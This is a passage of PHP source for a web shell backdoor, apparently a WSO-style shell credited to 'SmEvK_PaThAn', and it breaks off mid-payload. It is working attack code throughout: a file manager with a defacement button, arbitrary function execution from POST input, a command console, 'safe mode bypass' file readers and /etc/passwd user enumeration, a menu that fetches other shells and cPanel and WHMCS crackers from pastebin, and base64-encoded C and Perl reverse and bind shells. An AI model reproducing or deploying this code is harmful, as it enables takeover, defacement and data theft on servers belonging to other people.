661 if($_SESSION['act'] == 'copy') {
662 function copy_paste($c,$s,$d){
663 if(is_dir($c.$s)){
664 mkdir($d.$s);
665 $h = opendir($c.$s);
666 while (($f = readdir($h)) !== false)
667 if (($f != ".") and ($f != "..")) {
668 copy_paste($c.$s.'/',$f, $d.$s.'/');
669 }
670 } elseif(is_file($c.$s)) {
671 @copy($c.$s, $d.$s);
672 }
673 }
674 foreach($_SESSION['f'] as $f)
675 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
676 } elseif($_SESSION['act'] == 'move') {
677 function move_paste($c,$s,$d){
678 if(is_dir($c.$s)){
679 mkdir($d.$s);
680 $h = opendir($c.$s);
681 while (($f = readdir($h)) !== false)
682 if (($f != ".") and ($f != "..")) {
683 copy_paste($c.$s.'/',$f, $d.$s.'/');
684 }
685 } elseif(is_file($c.$s)) {
686 @copy($c.$s, $d.$s);
687 }
688 }
689 foreach($_SESSION['f'] as $f)
690 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
691 }
692 unset($_SESSION['f']);
693 break;
694 default:
695 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
696 $_SESSION['act'] = @$_POST['p1'];
697 $_SESSION['f'] = @$_POST['f'];
698 foreach($_SESSION['f'] as $k => $f)
699 $_SESSION['f'][$k] = urldecode($f);
700 $_SESSION['cwd'] = @$_POST['c'];
701 }
702 break;
703 }
704 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
705 }
706
707 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
708 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
709 global $sort;
710 $sort = array('name', 1);
711 if(!empty($_POST['p1'])) {
712 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
713 $sort = array($match[1], (int)$match[2]);
714 }
715 echo '<script>
716 function sa() {
717 for(i=0;i<document.files.elements.length;i++)
718 if(document.files.elements[i].type == \'checkbox\')
719 document.files.elements[i].checked = document.files.elements[0].checked;
720 }
721 </script>
722 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
723 <form name=files method=post>';
724 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
725 $dirs = $files = $links = array();
726 $n = count($dirContent);
727 for($i=0;$i<$n;$i++) {
728 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
729 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
730 $tmp = array('name' => $dirContent[$i],
731 'path' => $GLOBALS['cwd'].$dirContent[$i],
732 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
733 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
734 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
735 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
736 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
737 );
738 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
739 $files[] = array_merge($tmp, array('type' => 'file'));
740 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
741 $links[] = array_merge($tmp, array('type' => 'link'));
742 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
743 $dirs[] = array_merge($tmp, array('type' => 'dir'));
744 }
745 $GLOBALS['sort'] = $sort;
746 function cmp($a, $b) {
747 if($GLOBALS['sort'][0] != 'size')
748 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
749 else
750 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
751 }
752 usort($files, "cmp");
753 usort($dirs, "cmp");
754 usort($links, "cmp");
755 $files = array_merge($dirs, $links, $files);
756 $l = 0;
757 foreach($files as $f) {
758 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
759 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
760 $l = $l?0:1;
761 }
762 echo '<tr><td colspan=5>
763 <input type=hidden name=a value=\'FilesMan\'>
764 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
765 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
766 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
767 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
768 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
769 </form></table></div>';
770 printFooter();
771}
772
773function actionStringTools() {
774 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
775 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
776 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
777 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
778
779 if(isset($_POST['ajax'])) {
780 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
781 ob_start();
782 if(function_exists($_POST['p1']))
783 echo $_POST['p1']($_POST['p2']);
784 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
785 echo strlen($temp), "\n", $temp;
786 exit;
787 }
788 printHeader();
789 echo '<h1>String conversions</h1><div class=content>';
790 $stringTools = array(
791 'Base64 encode' => 'base64_encode',
792 'Base64 decode' => 'base64_decode',
793 'Url encode' => 'urlencode',
794 'Url decode' => 'urldecode',
795 'Full urlencode' => 'full_urlencode',
796 'md5 hash' => 'md5',
797 'sha1 hash' => 'sha1',
798 'crypt' => 'crypt',
799 'CRC32' => 'crc32',
800 'ASCII to HEX' => 'ascii2hex',
801 'HEX to ASCII' => 'hex2ascii',
802 'HEX to DEC' => 'hexdec',
803 'HEX to BIN' => 'hex2bin',
804 'DEC to HEX' => 'dechex',
805 'DEC to BIN' => 'decbin',
806 'BIN to HEX' => 'bin2hex',
807 'BIN to DEC' => 'bindec',
808 'String to lower case' => 'strtolower',
809 'String to upper case' => 'strtoupper',
810 'Htmlspecialchars' => 'htmlspecialchars',
811 'String length' => 'strlen',
812 );
813 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
814 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
815 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
816 foreach($stringTools as $k => $v)
817 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
818 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
819 if(!empty($_POST['p1'])) {
820 if(function_exists($_POST['p1']))
821 echo htmlspecialchars($_POST['p1']($_POST['p2']));
822 }
823 echo"</pre></div>";
824 printFooter();
825}
826
827function actionFilesTools() {
828 if( isset($_POST['p1']) )
829 $_POST['p1'] = urldecode($_POST['p1']);
830 if(@$_POST['p2']=='download') {
831 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
832 ob_start("ob_gzhandler", 4096);
833 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
834 if (function_exists("mime_content_type")) {
835 $type = @mime_content_type($_POST['p1']);
836 header("Content-Type: ".$type);
837 }
838 $fp = @fopen($_POST['p1'], "r");
839 if($fp) {
840 while(!@feof($fp))
841 echo @fread($fp, 1024);
842 fclose($fp);
843 }
844 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
845
846 }
847 exit;
848 }
849 if( @$_POST['p2'] == 'mkfile' ) {
850 if(!file_exists($_POST['p1'])) {
851 $fp = @fopen($_POST['p1'], 'w');
852 if($fp) {
853 $_POST['p2'] = "edit";
854 fclose($fp);
855 }
856 }
857 }
858 printHeader();
859 echo '<h1>File tools</h1><div class=content>';
860 if( !file_exists(@$_POST['p1']) ) {
861 echo 'File not exists';
862 printFooter();
863 return;
864 }
865 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
866 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
867 echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
868 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
869 if( empty($_POST['p2']) )
870 $_POST['p2'] = 'view';
871 if( is_file($_POST['p1']) )
872 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
873 else
874 $m = array('Chmod', 'Rename', 'Touch');
875 foreach($m as $v)
876 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
877 echo '<br><br>';
878 switch($_POST['p2']) {
879 case 'view':
880 echo '<pre class=ml1>';
881 $fp = @fopen($_POST['p1'], 'r');
882 if($fp) {
883 while( !@feof($fp) )
884 echo htmlspecialchars(@fread($fp, 1024));
885 @fclose($fp);
886 }
887 echo '</pre>';
888 break;
889 case 'highlight':
890 if( is_readable($_POST['p1']) ) {
891 echo '<div class=ml1 style="background-color: black;color:black;">';
892 $code = highlight_file($_POST['p1'],true);
893 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
894 }
895 break;
896 case 'chmod':
897 if( !empty($_POST['p3']) ) {
898 $perms = 0;
899 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
900 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
901 if(!@chmod($_POST['p1'], $perms))
902 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
903 else
904 die('<script>g(null,null,null,null,"")</script>');
905 }
906 echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
907 break;
908 case 'edit':
909 if( !is_writable($_POST['p1'])) {
910 echo 'File isn\'t writeable';
911 break;
912 }
913 if( !empty($_POST['p3']) ) {
914 @file_put_contents($_POST['p1'],$_POST['p3']);
915 echo 'Saved!<br><script>document.mf.p3.value="";</script>';
916 }
917 echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
918 $fp = @fopen($_POST['p1'], 'r');
919 if($fp) {
920 while( !@feof($fp) )
921 echo htmlspecialchars(@fread($fp, 1024));
922 @fclose($fp);
923 }
924 echo '</textarea><input type=submit value=">>"></form>';
925 break;
926 case 'hexdump':
927 $c = @file_get_contents($_POST['p1']);
928 $n = 0;
929 $h = array('00000000<br>','','');
930 $len = strlen($c);
931 for ($i=0; $i<$len; ++$i) {
932 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
933 switch ( ord($c[$i]) ) {
934 case 0: $h[2] .= ' '; break;
935 case 9: $h[2] .= ' '; break;
936 case 10: $h[2] .= ' '; break;
937 case 13: $h[2] .= ' '; break;
938 default: $h[2] .= $c[$i]; break;
939 }
940 $n++;
941 if ($n == 32) {
942 $n = 0;
943 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
944 $h[1] .= '<br>';
945 $h[2] .= "\n";
946 }
947 }
948 echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
949 break;
950 case 'rename':
951 if( !empty($_POST['p3']) ) {
952 if(!@rename($_POST['p1'], $_POST['p3']))
953 echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
954 else
955 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
956 }
957 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
958 break;
959 case 'touch':
960 if( !empty($_POST['p3']) ) {
961 $time = strtotime($_POST['p3']);
962 if($time) {
963 if(@touch($_POST['p1'],$time,$time))
964 die('<script>g(null,null,null,null,"")</script>');
965 else {
966 echo 'Fail!<script>document.mf.p3.value="";</script>';
967 }
968 } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
969 }
970 echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
971 break;
972 case 'mkfile':
973
974 break;
975 }
976 echo '</div>';
977 printFooter();
978}
979
980function actionSafeMode() {
981 $temp='';
982 ob_start();
983 switch($_POST['p1']) {
984 case 1:
985 $temp=@tempnam($test, 'cx');
986 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
987 echo @file_get_contents($temp);
988 unlink($temp);
989 } else
990 echo 'Sorry... Can\'t open file';
991 break;
992 case 2:
993 $files = glob($_POST['p2'].'*');
994 if( is_array($files) )
995 foreach ($files as $filename)
996 echo $filename."\n";
997 break;
998 case 3:
999 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1000 curl_exec($ch);
1001 break;
1002 case 4:
1003 ini_restore("safe_mode");
1004 ini_restore("open_basedir");
1005 include($_POST['p2']);
1006 break;
1007 case 5:
1008 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1009 $uid = @posix_getpwuid($_POST['p2']);
1010 if ($uid)
1011 echo join(':',$uid)."\n";
1012 }
1013 break;
1014 case 6:
1015 if(!function_exists('imap_open'))break;
1016 $stream = imap_open($_POST['p2'], "", "");
1017 if ($stream == FALSE)
1018 break;
1019 echo imap_body($stream, 1);
1020 imap_close($stream);
1021 break;
1022 }
1023 $temp = ob_get_clean();
1024 printHeader();
1025 echo '<h1>Safe mode bypass</h1><div class=content>';
1026 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1027 if($temp)
1028 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1029 echo '</div>';
1030 printFooter();
1031}
1032
1033function actionConsole() {
1034 if(isset($_POST['ajax'])) {
1035 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1036 ob_start();
1037 echo "document.cf.cmd.value='';\n";
1038 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
1039 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1040 if(@chdir($match[1])) {
1041 $GLOBALS['cwd'] = @getcwd();
1042 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1043 }
1044 }
1045 echo "document.cf.output.value+='".$temp."';";
1046 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1047 $temp = ob_get_clean();
1048 echo strlen($temp), "\n", $temp;
1049 exit;
1050 }
1051 printHeader();
1052
1053echo '<script>
1054if(window.Event) window.captureEvents(Event.KEYDOWN);
1055var cmds = new Array("");
1056var cur = 0;
1057function kp(e) {
1058 var n = (window.Event) ? e.which : e.keyCode;
1059 if(n == 38) {
1060 cur--;
1061 if(cur>=0)
1062 document.cf.cmd.value = cmds[cur];
1063 else
1064 cur++;
1065 } else if(n == 40) {
1066 cur++;
1067 if(cur < cmds.length)
1068 document.cf.cmd.value = cmds[cur];
1069 else
1070 cur--;
1071 }
1072}
1073function add(cmd) {
1074 cmds.pop();
1075 cmds.push(cmd);
1076 cmds.push("");
1077 cur = cmds.length-1;
1078}
1079</script>';
1080 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1081 foreach($GLOBALS['aliases'] as $n => $v) {
1082 if($v == '') {
1083 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1084 continue;
1085 }
1086 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1087 }
1088 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1089 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1090 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
1091 if(!empty($_POST['p1'])) {
1092 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
1093 }
1094 echo '</textarea><input type=text name=cmd style="border-top:1;width:100%;" onkeydown="kp(event);">';
1095 echo '</form></div><script>document.cf.cmd.focus();</script>';
1096 printFooter();
1097}
1098
1099function actionLogout() {
1100 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1101 echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i63.tinypic.com/1108vic.jpg"><br>
1102<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
1103<span style="color:red;font: 20pt audiowide;">Your are out now :D<br>www.facebook.com/smevkpathan</h2></span></center></body>';
1104}
1105
1106function actionSelfRemove() {
1107 printHeader();
1108 if($_POST['p1'] == 'yes') {
1109 if(@unlink(SELF_PATH))
1110 die('Shell has been removed');
1111 else
1112 echo 'unlink error!';
1113 }
1114 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1115 printFooter();
1116}
1117///my editing start here for tools
1118 function download_remote_file($file_url, $save_to)
1119 {
1120 $content = file_get_contents($file_url);
1121
1122 file_put_contents($save_to, $content);
1123
1124 }
1125 if (isset($_POST['dhanush'])) {
1126 download_remote_file('http://pastebin.com/raw.php?i=U9nqEgRN', realpath("./") . '/dhanush.php');
1127 header("location:dhanush.php");
1128
1129 }
1130 if (isset($_POST['SymlinkbySmevk'])) {
1131 download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php');
1132 header("location:SymlinkbySmevk.php");
1133
1134 }
1135 if (isset($_POST['SymlinkbyCheetah'])) {
1136 download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php');
1137 header("location:SymlinkbyCheetah.php");
1138
1139 }
1140 if (isset($_POST['SymlinkbyTorjan'])) {
1141 download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py');
1142 echo "<script>alert('Script is here /sym.py execute it from there.Type in console (Python sym.py)')</script>";
1143
1144
1145 }
1146 if (isset($_POST['CpanelCracker'])) {
1147 download_remote_file('http://pastebin.com/raw.php?i=zYxsP0MH', realpath("./") . '/CpanelCracker.php');
1148 header("location:CpanelCracker.php");
1149
1150 }
1151 if (isset($_POST['Dblogin'])) {
1152 download_remote_file('http://pastebin.com/raw.php?i=Q52G9kjJ', realpath("./") . '/Dblogin.php');
1153 header("location:Dblogin.php");
1154
1155 }
1156 if (isset($_POST['CpanelkbyGujjar'])) {
1157 download_remote_file('http://pastebin.com/raw.php?i=NM9SD9bV', realpath("./") . '/CpanelkbyGujjar.php');
1158 header("location:CpanelkbyGujjar.php");
1159
1160 }
1161 if (isset($_POST['b374k'])) {
1162 download_remote_file('http://pastebin.com/raw.php?i=1iDZfjZ9', realpath("./") . '/b374k.php');
1163 header("location:b374k.php");
1164
1165 }
1166 if (isset($_POST['ZonehMassPoster'])) {
1167 download_remote_file('http://pastebin.com/raw.php?i=mDXnSnj2', realpath("./") . '/ZonehMassPoster.php');
1168 header("location:ZonehMassPoster.php");
1169
1170 }
1171 if (isset($_POST['Whmcs'])) {
1172 download_remote_file('http://pastebin.com/raw.php?i=K0KQWUCk', realpath("./") . '/Whmcs.php');
1173 header("location:Whmcs.php");
1174
1175 }
1176
1177
1178
1179
1180
1181
1182function actionImportScripts() {
1183 printHeader();
1184echo '<table border="1px" align="center" id ="Smevktools" cellpadding="10" border-color"green"><tr><td>Just click and get the Script :).</td><tr><td>
1185<form action ="" method="post">
1186
1187 <input type = "submit" name="dhanush" value ="Dhanush Shell"></td></tr>';
1188echo '<td><form action ="" method="post"><input type = "submit" name="SymlinkbySmevk" value ="Symlink Script By SmEvK_PaThAn"></a></td></tr>';
1189echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyCheetah" value ="Symlink By Kashmiri Cheetah"></a></td></tr>';
1190echo '<tr><td><form action ="" method="post"><input type = "submit" name="SymlinkbyTorjan" value ="Symlink Python Script By Torjan"></a></td></tr>';
1191echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelCracker" value ="Cpanel Cracker"></a></td></tr>';
1192echo '<tr><td><form action ="" method="post"><input type = "submit" name="Dblogin" value ="Database Login Script"></a></td></tr>';
1193echo '<tr><td><form action ="" method="post"><input type = "submit" name="CpanelkbyGujjar" value ="Gujjar Pcp Cpanel Cracker"></a></td></tr>';
1194echo '<tr><td><form action ="" method="post"><input type = "submit" name="b374k" value ="b374k Shell"></a></td></tr>';
1195echo '<tr><td><form action ="" method="post"><input type = "submit" name="ZonehMassPoster" value ="Zone-h Mass Poster"></a></td></tr>';
1196echo '<tr><td><form action ="" method="post"><input type = "submit" name="Whmcs" value ="WHMCS KILLER V3"></a></td></tr>';
1197
1198
1199
1200
1201
1202
1203 printFooter();
1204}
1205
1206
1207function actionNetwork() {
1208 printHeader();
1209 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
1210 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1211 $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yK